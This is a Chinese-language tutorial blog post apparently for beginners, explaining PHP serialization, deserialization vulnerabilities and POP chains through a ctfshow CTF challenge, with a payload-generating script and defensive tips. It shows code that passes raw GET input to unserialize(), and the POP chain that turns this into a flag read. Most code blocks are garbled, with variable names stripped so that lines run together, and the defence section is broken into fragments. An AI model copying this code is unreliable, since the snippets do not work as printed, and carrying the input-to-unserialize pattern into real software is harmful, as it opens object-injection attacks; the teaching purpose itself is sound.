当前位置:首页>php>PHP 反序列化漏洞与 POP 链详解:网络安全小白从零入门

PHP 反序列化漏洞与 POP 链详解:网络安全小白从零入门

  • 2026-10-11 07:52:14
PHP 反序列化漏洞与 POP 链详解:网络安全小白从零入门

文章目录

    • 0. 前言
    • 1. 什么是序列化与反序列化?
      • 简单代码演示
    • 2. 什么是 POP 链?
      • 常用魔术方法(POP 链必备)
    • 3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)
    • 4. 这道题的 POP 链完整流程
    • 5. Payload 生成脚本(本地运行即可)
    • 6. 实际利用效果
    • 7. 如何防范反序列化漏洞?
    • 8. 总结

0. 前言

今天这篇文章,笔者会从CTF学习的角度,从零带你搞懂:

  • 什么是序列化 / 反序列化?
  • 什么是 POP 链?
  • 如何构造一条简单的 POP 链?
  • CTF 例题(小舔田?)完整解析

读完后,你不仅能自己构造 payload,还能理解为什么反序列化是 Web 安全里“高危漏洞”之一。


1. 什么是序列化与反序列化?

序列化(serialize):把 PHP 的对象、数组等复杂数据,变成一个字符串,方便存储到文件、数据库或通过网络传输。

反序列化(unserialize):把这个字符串再变回原来的对象。

简单代码演示

<?phpclassUser{    public age = 18;}serialized = serialize(serialized;                   // 输出:O:4:"User":2:{s:4:"name";s:6:"张三";s:3:"age";i:18;}serialized); // 字符串 → 对象var_dump(_GET['data'])) {    _GET['data']);   // ← 用户输入直接反序列化!}

2. 什么是 POP 链?

POP = Property Oriented Programming(面向属性编程)

它和二进制里的 ROP(Return Oriented Programming)思想一模一样:

  • ROP:在内存里找很多小代码片段,通过栈溢出把它们“链”起来执行 shell。
  • POP:在 PHP 代码里找已经存在的类和方法(尤其是魔术方法),通过控制对象的属性(property),把这些方法“链”起来,最终执行我们想要的操作(输出 flag、写文件、命令执行等)。

核心思路:unserialize() → 触发魔术方法 → 触发下一个方法 → … → 执行敏感代码

POP 链的“发动机”就是 PHP 魔术方法(Magic Methods)。它们不需要手动调用,在特定时机自动触发。

常用魔术方法(POP 链必备)

魔术方法
触发时机
常见用途
__wakeup()
对象被 unserialize() 后立刻触发
最常见的 POP 链起点
__toString()
对象被当作字符串使用时触发(如 echo obj())
执行任意函数
__get()
访问不存在的属性时触发
属性劫持

3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)

下面是题目源码:

<?phpinclude "flag.php";highlight_file(__FILE__);classMoon{    public this->name;    }    public function __wakeup(){        echo "我是".nickname="牛夫人";    public function call(){        global this->nickname=="小甜甜"){            echo this->nickname."。\n";            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";        }    }    public function __toString(){        this->nickname;    }}if(isset(_GET['code']);}else{    a;}以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人

默认访问(不带 code)会输出牛夫人的台词。


4. 这道题的 POP 链完整流程

链路:Moon::__wakeup() → Ion_Fan_Princess::__toString() → Ion_Fan_Princess::call()

一步步拆解:

  1. unserialize(this->name . "快来赏我";
    • 因为 this->call()
    • call()
       判断 $nickname == "小甜甜" → echo $flag

我们只需要构造:

  • 一个 Moon 对象
  • 把它的 nickname 设置为 “小甜甜”

5. Payload 生成脚本(本地运行即可)

<?phpclassMoon{    public nickname;      // 要设置为“小甜甜”}// 构造对象a->name = new Ion_Fan_Princess();payload = serialize(payload . "\n\n";echo "URL 编码后(直接用于 ?code= 后面):\n" . urlencode(_GET['data'])) {    _GET['data'], true);  // 优先用 JSON}
  • 使用白名单类(PHP 7.4+ 推荐)

    unserialize(flag)是否可被读取

  • 8. 总结

    一句话总结: 反序列化漏洞 = 程序帮攻击者“变出”任意对象;POP 链 = 用对象属性把魔术方法像搭积木一样连起来,最终执行敏感代码。

    这道题的 POP 链 就是最基础的教学案例:__wakeup → __toString → 普通方法 call()。

    最后思考:安全从来不是“加固”,而是“从设计之初就拒绝不信任的输入”。下次看到 unserialize 就要警惕!

最新文章

随机文章